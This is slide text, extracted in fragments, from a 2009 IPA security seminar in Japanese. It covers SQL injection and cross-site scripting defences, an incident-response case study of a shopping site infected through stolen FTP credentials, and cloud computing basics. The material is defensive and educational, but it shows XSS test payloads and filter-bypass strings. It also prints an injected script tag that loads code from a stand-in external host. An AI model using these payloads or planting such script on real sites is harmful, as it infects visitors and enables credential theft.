データベース毎に専用のアカウントを作り、 権限を制限して使う。 • 既存のテーブルを読み書きするだけなのに、 テーブル操作や管理等の権限はいらない。 • 権限を必要最小限にすれば、防げる攻撃も ある。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 62 その他の対策（ビジネスの話も含む） （保険的対策） • DBに格納する情報を見直す • 収集する情報を見直す – 必要最小限の情報しか格納しない • サービスを見直す 変なリスクを負ってまで やる必要があるのか？ • パスワードはそのまま保存しない – ハッシュ値を保存する Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 63 まとめ：SQLインジェクションの対策 • SQL文の組み立てには必ず エスケープ処理を実装する。 • 公開ページでは、エラー メッセージをそのまま ブラウザに表示しない。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 64 2.3 クロスサイトスクリプティングとは • 罠に仕込まれたスクリプトが知らぬ 間に動作してしまう • 原因 – ユーザーに送るHTMLデータの 作成方法に問題 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 65 危険のない普通のアクセス お気に入りや ブックマーク Copyright © 2009 独立行政法人 情報処理推進機構 危険が無い ウェブサイト 2009年度IPA情報セキュリティセミナー 66 危険なアクセス 脆弱なウェブサイト 汚染済みデータ 仕掛けられた爆弾 （スクリプト）が手元 で爆発する Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 67 危険のないアクセス 危険が無い ウェブサイト 爆弾は爆発する形 で手元に来ない Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 68 スクリプトを埋め込まれた結果・・・ • Cookie が盗まれる –セッション ID などの情報が盗まれる • フォーム入力のデータが盗まれる –ユーザーID、パスワード • ページに偽情報が表示される スクリプトでできること はほとんど可能 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 69 2.4 クロスサイトスクリプティング対策 • ユーザーにHTMLテキストの入力を許 可しない場合と、許可する場合では対 策が異なる – HTMLテキストを許可する場合は、タグを 選択的に許可する必要がある – それぞれに「根本的対策」、「保険的対策」 がある Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 70 HTMLテキストの入力を許可しない場合 • 根本的解決 –エスケープ処理 –URL 出力時のスキーム確認 –スクリプトを動的に生成しない –スタイルシートを動的に生成しない • 保険的対策 –入力値チェック Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 71 エスケープ処理（HTML不許可/根本的解決） •「記号文字」を置換 （HTMLを許可しない場合） •例： & → & " < > ' → → → → " < > ' 入力値：<script>alert("test");</script> 置換後： <script>alert("test");</script> 見た目は<script>alert(“test”);</script>に見える Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 72 URL 出力時のスキーム確認 （HTML不許可/根本的解決） • URL の中に埋め込まれる場合 – URL の入力を許可している場合、URL の形で スクリプトを埋め込まれることがある。 例: javascript:alert('IPA'); – 利用者にリンクの入力を許している場合は、要 注意。 • URL 出力時は http:// と https:// のみを許可 – data: や javascript: などのスキームを防ぐ – ブラックリスト方式では漏れてしまう Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 73 スクリプトを動的に生成しない （HTML不許可/根本的解決） • スクリプトそれ自体を、外部からの入力に基 づいて動的に生成しない。 – 例: <script>～</script> の内容 <script src="～"> の参照先 • 危険なスクリプトを検出して排除する方法も 考えられるが、確実な判断は難しい。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 74 スタイルシートを動的に生成しない （HTML不許可/根本的解決） • スタイルシート内での expression() などによ るスクリプト埋め込みを防ぐ。 – スタイルシートの入力を許可している場合、その 中にスクリプトを埋め込まれることがある。 例: width: expression(alert('XSS')); – 利用者にスタイルシートの入力を許している場合 は、要注意。 • 危険なスクリプトを検出して排除する方法も 考えられるが、確実な判断は難しい。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 75 入力値チェック （HTML不許可/保険的対策） • チェックのタイミングを意識する – 出力時の値に注目 入力値 入力値 チェック 入力値 ここでのチェックは回 避されるおそれ有り 入力値 処理 処理済み 入力値 出力 処理 出力対象 に注目！ • ブラックリストチェックは保険的対策でしかない • 「出力直前」のチェックが有効 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 76 2.4 クロスサイト・スクリプティング対策（続き） • HTML テキストの入力を許可する場合 – 根本的解決 • 構文解析木を作成して、必要な要素のみを抽出 – 保険的対策 • 入力された HTML テキストから、スクリプトを除く • 共通 – 根本的解決 • 文字コードの指定を行う Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 77 構文木を作成する（HTML許可/根本的解決） 【例】 html head title body table p script meta thead a link tbody font • 複雑な処理であり、十分な検討が必要。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 78 入力値チェック（HTML許可/保険的対策） • スクリプトを無害な文字列に置換す る –「<script>」 → 「<xscript>」 –「javascript:」 → 「xjavascript:」 • 完全な対策は困難 –「java	script:」 –「 java（改行コード）script: 」 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 79 文字コード指定を行う （共通/根本的解決） • ウェブブラウザが、ウェブサイトの意図と反す る文字コード解釈をする場合があり、ウェブ サイト側での対策の効果がなくなる。 • Content-Type: ヘッダでの指定 – Content-Type: text/html; charset=euc-jp • meta タグでの指定方法 – <meta http-equiv="Content-Type" content="text/html; charset=euc-jp"> Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 80 包括的なクロスサイト・スクリプティング対策 • プログラマーにセキュリティの知識を行き届 かせ、コードのレベルを上げるのは難しい • →フレームワークの利用 – 例: Struts(Java), Smarty(PHP), CakePHP,Ruby on Rails – エスケープ処理やSQLインジェクション対策など が組み込まれている – 内容、限界を見極めて採用する必要はある • 漏れが起きる可能性を尐なくする Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 81 まとめ：クロスサイト・スクリプティング • ウェブページを「出力」する際の配慮を怠ると、 クロスサイト・スクリプティングの脆弱性が生じ る。 • 全ての個所に対策を施す必要がある。 安全なウェブサイトの作り方 改訂第3版 http://www.ipa.go.jp/security/vuln/websecurity.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 82 ウェブアプリケーションの 安全性向上のためのポイント • 実施する対策の効果や性質を正しく理解する • 安全なプログラミング知識を身に付ける 参考サイト： 安全なウェブサイトの作り方 http://www.ipa.go.jp/security/vuln/websecurity.html セキュア・プログラミング講座（新版） http://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html 知っていますか？脆弱性 http://www.ipa.go.jp/security/vuln/vuln_contents/ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 83 ■情報システムのぜい弱性対策への取り組み ～情報セキュリティ早期警戒パートナーシップ～ 脆弱性関連情報流通体制 ユーザ ユーザー 脆弱性関連 情報届出 ソフトウェ ア 製品の脆弱性 発 見 者 W eb サイトの 脆弱性 受付・分析機関 報告された 受付機関 脆弱性関連情報の 内容確認・検証 報告された脆弱性 関連情報の内容確認 分析支援機関 脆弱性関連 情報通知 調整機関 対応状況の集約、 公表日の調整等 公表日の決定、 海外の調整機関 との連携等 対策情報ポータル 脆弱性対策情報ポータル ソフト 開発者等 対応状況 対策方法等 公表 システム導入 支援者等 政府 企業 個人 分析機関 脆弱性関連 情報届出 【期待効果】 産総研など 報告された脆弱性 脆弱性関連情報通知 脆弱性関連情報通知 関連情報の検証 W eb サイト運営者 個人情報漏洩時は事実関係を公表 検証、対策実施 ①製品開発者及びウェブサイト運営者によるぜい弱性対策を促進 ②不用意なぜい弱性関連情報の公表やぜい弱性の放置を抑制 ③個人情報等重要情報の流出や重要システムの停止を予防 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 84 ケーススタディ3 インシデントレスポンス 企業サイトがウイルス感染の加害者に ～脆弱性の脅威と技術的解決を学ぶ～ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー ケーススタディ3 インシデントレスポンス 3.1 インシデントレスポンスとは 3.2 事件発生：ショッピングサイト上にウイルス 3.3 お客さんに向けた緊急対応開始 3.4 後始末、まとめ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 86 3.1 インシデントレスポンスとは • インシデント＝情報セキュリティに関 連する事件、事故への組織的な「対 応」 • 発生時対応策、手順整備などの事 前準備が重要 • http://www.ipa.go.jp/security/rfc/R FC2350JA.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 87 事例:ショッピングサイトでウイルス感染？ C About Search Login S h o p p i n g S i t e • ショッピングサイト C社。 • 社員数200名、Windowsのショッピングカートシス テムを使った中規模ショッピングサイト。会員数10 万人程度。 • リピーターがついており、アクセスは盛況。 • 最新パッチの適用、ユーザ管理、アクセス制限と、 一通りは対策。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 88 C社のセキュリティ・ウイルス対策 • ファイアウォールを軸にDMZ（非武装中 立地帯）構築、外部向けサーバはすべ てそちらに配置 • ウェブアプリケーション監査も実施済み • ウイルス対策は全マシンで実施 – 月1回はフルスキャンが義務 • ウイルス対策ゲートウエイも導入済み – 迷惑メール対策ゲートウエイも兼ねている Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 89 DMZ等詳細 • DMZ（非武装中立地帯）には、メールサ ーバ、ウェブプロキシサーバ、DNSキャ ッシュサーバ、外部向けDNSサーバ、 外部向けウェブサーバを配置 – LANから外向けの通信はすべてDMZの各 種サーバ経由 – 外からのメール受信、DNS参照、ウェブ参 照はすべてDMZで受ける • 無線LANは未導入 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 90 インター ネット DMZ ファイア ウォール ローカルエリアネットワーク 外部とのすべての 通信はDMZを経由 して行われる Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 91 3.2 事件発生： ショッピングサイト上にウイルス C About Search Login S h o p p i n g S i t e • ある日突然C社に、「ウェブを見たらウイルス対 策ソフトが反応した」「ウェブサイトでウイルスに 感染した」という苦情が複数よせられる • 社内で試したら再現した！ • ショッピングサイトにはユーザがページ内容を変 更したり、ファイルをアップロードするような機能 はない→一体どこから？ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 92 緊急対応 • これ以上のダウンロード＝被害拡大を 止める必要がある • しかし、止めてしまう・インターネットから 遮断してしまうと原因が探れない 現場長の判断で まずは原因を究明することになった Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 93 現在の状態を調査する • 外部に表示するウェブサイトをメンテナンス用 サーバに切り替え、切り離したサイトを調査 • トップページに、悪意あるスクリプトを読みこま せる内容を追加し、ウイルスに感染させようとし ていた • 他のページには同様の埋めこみは発見できず <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang=“ja”> 外部のスクリプトを読みこんで実行 <head> <title>Welcome to “C” shopping site</title> <link rel="stylesheet" href="style.css" TYPE="text/css"> <script src=“http：//othersite.example.net/3.js”></script> </head> トップページに埋めこまれたHTML Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 94 原因（侵入経路）の可能性 攻撃の種類 可能性 ネットワーク攻撃 最新パッチが当たっているため、可能性がある としたら未知の脆弱性か DNSへの攻撃 現象再現する（ウイルス警告）マシンと、しない マシンがあるが、同じマシンでは必ず再現する ウェブアプリケー ログを見たところ、怪しいSQL文の痕跡とかは ションへの攻撃 無さそうだ。クロスサイトスクリプティングの可 能性はあるが、怪しいリンクを踏まなくても再現 する 内部犯行 ダブルチェックを行っているし、外部からのFTP アクセスも、方法を知る者はごくわずか Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 95 調査は行き詰まり、そして・・・ • ネットワーク攻撃ではなさそうか？ – IDS未導入なので断言はできないが・・・ • DNSも再現性から見て違うようだ。ウェ ブアプリケーションも痕跡が見当たらな いし、監査も実施済み • 残る可能性は内部犯行？？？ このウイルス騒ぎが経営陣の耳に入り、 「すぐに止めろ！」と怒鳴られてしまった →Time Up! Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 96 ここまでのところ、何がまずかったのか • 原因究明を優先したこと？ –＝お客さんの被害拡大の可能性 を「放置」したこと • 原因究明の期限を決めなかった こと？ • 経営陣に怒鳴られたこと？ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 97 3.3 お客さんに向けた緊急対応開始 • 外向けウェブサーバを切り離し、サービス復旧へ • その間別サイトより静的ウェブコンテンツで説明 お客様へのお願い C社ショッピングサイト事務局 平素よりご愛顧いただきまして感謝しております。 現在、当サイトはお客様よりお知らせいただいた「C社ショッピングサ イトウェブページを見るとウイルス対策ソフトが警告を出す」との事象に つきまして緊急調査を行っております。そのため、一時的に弊社サービ スを利用できない状態となり、お客様にはご迷惑をおかけしております が、調査に一定の目処が立つまで今しばらくお待ちください。なお、ウイ ルスの駆除方法については・・・ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 98 サービス復旧への対応 C About 重要なお知らせ ◆弊社ウェブサイトにおけるウイルス掲載の問題に ついて ◆XXXX/XX～XX/XXの間アクセスされたお客様へ S h o p p i n g S i t e • 他にあやしいものが無いか、サーバやデー タベースの内容を全面的にチェック • 汚染されたコンテンツを修正後、再公開 • 多層防御の一環として、ウェブアプリケー ションファイアウォール（WAF）やサーバ用 のアンチウイルス製品を導入 参考：企業における情報セキュリティ事象被害額調査 http://www.ipa.go.jp/security/fy18/reports/virus-survey/index.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 99 ログから追いかける • 残された可能性「内部犯行」を追いかけるた めに、FTPによるアップデートのログ見たら、 アップデートの痕跡がいくつか残っていた • 関係者はコンテンツアップを行う担当者（複 数）、外部委託先（1社） まずはFTPのログを軸に更新記録と照合し て「消し込み」を行ってみる Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 100 ログの「消し込み」 ログのエントリ 20XX年2月1日AM10:25 20XX年2月4日PM3:03 20XX年2月6日PM5:48 20XX年2月10日AM4:10 当該ページの更新者 担当者A＋B 担当者A＋B 外部委託C ？？？ 事件が起きたのは2月10日。最新の更新記録だけ が見当たらない？？ ログのIPアドレスを見ると、海外らしい？？ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 101 もしかしてウイルス？ • FTPへは正規のID、パスワードを用いてログ インしている。「login failed」記録も無い – ファイルの更新日付も最新更新と同じ • FTPによるコンテンツアップデートを監視し、 ログイン情報を盗んで外部に送りつけるウイ ルス？ • 担当B「そういえば、最近Internet Explorerが重くて・・・」 まさにウイルス感染 の特徴そのもの！ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 102 当該ウイルスの特徴 • FlashやAcrobatなどの古い脆弱性を用いて 感染する（見ただけ感染） • 亜種が多数発生し、ウイルス対策ソフトウエ アでも検出できないことがある • FTPのアカウント情報を盗聴し、外部サーバ に送出する • 外部サーバはその情報をもとに、FTPにアク セスしてコンテンツの一部にスクリプトを挿入 したもので更新する Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 103 インター ネット DMZ ファイア ウォール ローカルエリアネットワーク 外部とのすべての 通信はDMZを経由 して行われる Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 104 ファイアウォールのポリシー • 実は、LANから外に向けた通信は、フリ ーで行えるようになっていた – 「設定」によってウェブプロキシ、DNSキャ ッシュ、メールサーバを使っていただけ – 通信要件が絞り込めていなかった・・・ インター ネット Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 105 3.4 後始末 • 調査結果をお客さんに報告 • より詳細な駆除方法等の情報提供 • ログ等の情報から、被害が出た可能性があ る期間、お客さんの特定 – トップページだったため、会員以外が被害にあっ た可能性もある • 被害にあったお客さんに連絡、対応窓口の 設置、受付体制とフローの整備 – 被害にあったお客さんには、買い物ポイント付与 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 106 C社の被った損害 • • • • • • 営業停止期間の利益機会損失 賠償用買い物ポイント 詫び状送付関連費用 調査人件費 被害者対応人件費 （失った顧客、信用） Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 107 何がまずかったのか？ • エスカレーションフローが無かったこと • ↑も含めた緊急時対応手順が無かった こと • 「自サイトが原因でお客さんに被害が発 生してしまうような場合には、エスカレー ションの上でただちにサービスを停止し て切り離し、顧客対応と原因調査を実 施する」 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 108 予防・検知 • ファイアウォールのルール見直し • LAN内の感染活動検知の仕組み導入 – IDS（侵入検知システム）の配備 – 空きIPアドレスでパケットキャプチャ • コンテンツメンテナンス方法の見直し • Windows Update（Microsoft Update）、 各種プラグイン（Flash等）、ウェブブラウ ザ等のアップデート励行 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 109 パケットキャプチャ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 110 ちょっと見ただけで も多数のプラグイン が入っています。今 やこのプラグインな どが悪い人の狙い 目となっています Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 111 プロセスのスナップショット Sysinternals のProcess Explorer http://technet.microsoft.com/ja-jp/sysinternals/bb896653(en-us).aspx Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 112 まとめ • ウイルス対策ソフトウエアは100％ではない • 各種プラグインの更新、Windowsの更新も 励行すべき • 事件発生後の緊急対応手順を準備しておく – 方針合意としても重要 • ログ取りパケット取りを仕掛けておくと原因 追及に役立つ – パケットキャプチャ等はお手軽 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 113 ■ＩＰＡ 新着情報メール配信 情報処理推進機構ホームページの新着情報を 電子メールでご案内しています。 ■ ソフトウェア開発、調査等に関する公募情報 ■ セキュリティ対策情報 ■ 入札情報 ■ イベント・セミナー情報 ■ 情報処理技術者試験情報 登録はこちらから↓ http://www.ipa.go.jp/about/mail/ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 114 （ご参考） クラウド・コンピューティングについて クラウド・コンピューティングの特徴 インターネット上のコンピューティング資源をまとめて、サー ビスとして提供／利用 サービスを使った分だけ支払う、従量料金制 ハード･ソフトやアプリケーションを自分で用意しなくても、既 製品のサービスを使って短時間で利用開始が可能（CRMシ ステム等） アプリケーションの開発もクラウド上でできるので、開発環 境の準備を省略でき、開発期間の短縮が可能 利用するサービスの処理量やデータ量の変動に応じて、使 用できる資源の量を柔軟に変更可能（例：明日からディスク 容量を倍増、等） Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 参-1 クラウド・コンピューティングとは？ メール 文書作成 クラウド・コンピューティングとは インターネット上の“どこか”にあるハード ウェアリソース、ソフトウェアリソース、デー タリソースをユーザーがその所在や内部構 造を意識することなく利用。 サービス提供者C 在庫管理 X社 ストレージ 独自アプリ Y社 独自アプリ 今までは・・・ 財務・経理 Z社 独自アプリ 営業支援 顧客管理 人事管理 サービス提供者B サービス提供者A 従来のコンピュータ利用はユーザ（企業、個 人など）がコンピュータのリソース（ハード ウェア、ソフトウェア、データベースなど）を、 自分自身で保有・管理。 ユーザ企業、個人が必要なサービスだけ利用 （インターネット経由で） Z社 Y社 個人 クラウド・コンピューティングでは・・・ ユーザはインターネットの向こう側にあるリ ソースを必要なときに、必要なだけ使用。 サービスとして提供されるリソースを、利用 した分だけ支払う従量制課金。 Copyright © 2009 独立行政法人 情報処理推進機構 営業ﾏﾈｰｼﾞｬ/担当者 システム開発者 会計担当者 生産担当者 X社 2009年度IPA情報セキュリティセミナー 参-2 クラウドの実体とサービス形態メリット （想定されるユーザカテゴリー別の主なメリット） 経営者にとって •初期投資不要 •使った分のみ支払う •構築コスト、運用コスト・人員等の削 減に期待 •タイムリーなIT投資が可能 システム開発部門にとって •開発期間短縮 •変更改良が容易 •業務拡大、負荷増大に伴うサーバ の最適配置が容易 •ハードの手配、ソフト開発に対する 手間と時間が削減 サービス提供者データセンター サービス提供事業者の大規模データセンタ アプリケーションソフトウェア群 リソースの管理･運営 ミドルウェア （ハードウェア管理、大規模分散処理、アプリ構築環境等） システム運用部門にとって •面倒なシステム運用から開放 •一時的増強可能 •業務拡大、負荷増大に伴うサーバ の最適配置が容易 データの分散・保証、 セキュリティ管理 分散大規模データベース 拡張性と柔軟性を 持ったリソース配置 ハードウェア・OS （サーバ、ネットワーク、仮想化等） クラウドの代表的なサービス形態 各事業部門ユーザにとって •必要な時に使いたいソフトだけ利用 •外出先でもモバイルで利用可能 SaaS Software as a Service アプリケーション提供 PaaS Platform as a Service ハードウェア＋ミドルウェア提供 個人ユーザにとって •新しい、多彩なサービスを気軽に利用 •外出先でもモバイルで利用可能 IaaS Infrastructure as a Service ハードウェア提供 ユーザが必要なサービスだけ利用 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 参-3 クラウドのセキュリティ要素 データセンター サービス･プ ラットフォーム •物理的アクセス 機 管理 密 •人の信頼性 性 •地政学リスク •アクセスコント ロール •プラットフォー ムの脆弱性 •ハッキング •ハードウェアの 信頼性 全 •人の信頼性 •ハードウェアの 可 信頼性 完 性 用 性 ネットワーク クライアント •地理的所在 •分散ストレー ジ管理システ ムの信頼性 •VPN •可搬型デバ イスの紛失 リスク •脆弱性 •ハッキング •プラットフォー ムの不具合 •ハッキング •分散ストレー ジ管理システ ムの信頼性 •VPN •通信品質 •脆弱性 •ハッキング •プラットフォー ムの不具合、 脆弱性 •ハッキング •地理的所在 •分散ストレー ジ管理システ ムの信頼性 •ネットワー ク障害 •通信品質 •可搬型デバ イスの紛失 リスク •脆弱性 •ハッキング Copyright © 2009 独立行政法人 情報処理推進機構 データ 2009年度IPA情報セキュリティセミナー 参-4